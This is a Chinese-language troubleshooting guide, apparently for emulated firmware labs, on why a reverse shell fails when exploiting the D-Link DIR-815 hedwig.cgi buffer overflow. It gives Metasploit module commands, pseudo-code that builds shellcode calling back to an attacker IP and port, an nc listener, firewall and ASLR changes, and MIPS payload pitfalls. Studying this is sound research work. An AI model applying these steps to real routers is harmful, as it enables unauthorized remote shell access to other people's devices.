先说结论:DIR-815 漏洞反弹 shell 失败,核心原因通常是监听端口与利用脚本配置的回调端口(LPORT)不一致,其次是网络通路受阻或防火墙拦截。
- 优先检查 nc 监听端口是否与 Exploit 脚本中的 LPORT 完全匹配
- 确认攻击机 IP(LHOST)与目标设备网络可达
- 排查宿主机防火墙是否放行监听端口
- 区分漏洞利用场景与动态调试场景(GDBserver 非必需)
核心原因分析
反弹 shell 的本质是目标设备主动连接攻击机。在 DIR-815 漏洞利用链中,即使栈溢出触发成功,如果网络回连环节配置错误,依然无法获取会话。主要故障点如下:
- 端口不匹配:攻击机监听端口必须与漏洞利用脚本(Exploit)中指定的回调端口一致,而非 GDBserver 端口(除非是在调试崩溃点)。
- 网络不可达:仿真环境(如 FirmAE)与攻击机不在同一网段,或 NAT 模式未配置端口转发。
- 防火墙拦截:宿主机防火墙(ufw/iptables)默认阻止非常用端口的入站流量。
- 地址随机化:部分仿真环境开启了 ASLR,导致 payload 地址偏移失效。
实操排查步骤
步骤一:配置漏洞利用脚本参数
在使用 Metasploit 或 Python 脚本进行利用时,必须正确设置回调地址。以 Metasploit 为例:
msf6 > use exploit/linux/http/dir815_hedwig_bof msf6 > set RHOSTS <目标 IP> msf6 > set LHOST <攻击机 IP> msf6 > set LPORT 6666 msf6 > exploit
若使用 Python 脚本,检查代码中的 callback 部分:
# 示例伪代码 LHOST = "192.168.1.100" # 确保这是攻击机可达 IP LPORT = 6666 # 确保与 nc 监听一致 payload = generate_shellcode(LHOST, LPORT)
步骤二:启动监听器
在攻击机上启动监听,端口必须与上述 LPORT 一致:
nc -lvnp 6666
如果使用 Metasploit,它会自动处理监听,无需单独运行 nc。
步骤三:验证网络连通性
在仿真环境或目标设备中 ping 攻击机 IP,确认路由可达。如果是 FirmAE 仿真,默认可能是 NAT 模式,需切换到桥接模式或配置端口转发:
# 宿主机检查端口监听状态 sudo lsof -i -P -n | grep LISTEN # 若端口被占用,清理进程 sudo kill -9 <PID>
步骤四:检查防火墙规则
确保宿主机防火墙放行监听端口:
sudo ufw allow 6666/tcp sudo iptables -L -n | grep 6666
调试模式与利用模式的区别
很多用户混淆了漏洞利用(Exploit)与动态调试(Debug)场景,导致排查方向错误。
- 漏洞利用:目标是获取 shell。关键在于 Payload 中的回调端口与攻击机监听端口一致。不需要启动 GDBserver。
- 动态调试:目标是分析崩溃原因。需要启动 GDBserver 监听,配合 IDA 调试。此时 nc 反弹 shell 通常不适用,除非利用脚本专门设计了调试回调。
若确需调试崩溃点,GDBserver 启动命令如下(仅用于分析,非直接获取 shell):
/path/to/gdbserver `--multi` :6666 /htdocs/cgi-bin/hedwig.cgi
注意:此命令用于挂载调试服务,若用于反弹 shell 利用,请回归步骤一的 Exploit 配置。
验证是否生效
1. 监听端验证:运行 nc 后,触发漏洞。若终端显示连接信息(如 connect to [IP] from [IP]),说明网络通路正常。
2. 交互验证:连接成功后,尝试输入命令(如 id 或 uname -a),若有回显则获取 shell 成功。
3. 仿真环境特殊配置:在 FirmAE 仿真环境中,若获取 shell 后命令执行异常,可尝试关闭地址随机化:
echo 0 > /proc/sys/kernel/randomize_va_space
常见坑与解决方案
- 端口占用:多次运行脚本导致端口被占用,报错 "Address already in use"。解决:使用
lsof查找并 kill 占用进程。 - IP 配置错误:LHOST 填写了 127.0.0.1 或内网不可达 IP。解决:填写攻击机实际局域网 IP。
- 架构不匹配:DIR-815 多为 MIPS 架构,Payload 需对应 MIPS shellcode,若使用 x86 payload 会导致崩溃而非反弹。
- IDAPython 版本:使用 IDA 分析 MIPS 漏洞时,若 IDAPython 版本高于 3,部分旧插件需适配 python3 语法。
参考来源
- CVE-2019-17506: D-Link DIR-815 Stack Buffer Overflow
- GitHub - Exploit Database: D-Link DIR-815 Hedwig.cgi BoF
- 先知社区:D-Link DIR815 路由器缓冲区溢出漏洞分析
- FirmAE: Firmware Analysis and Emulation Framework Documentation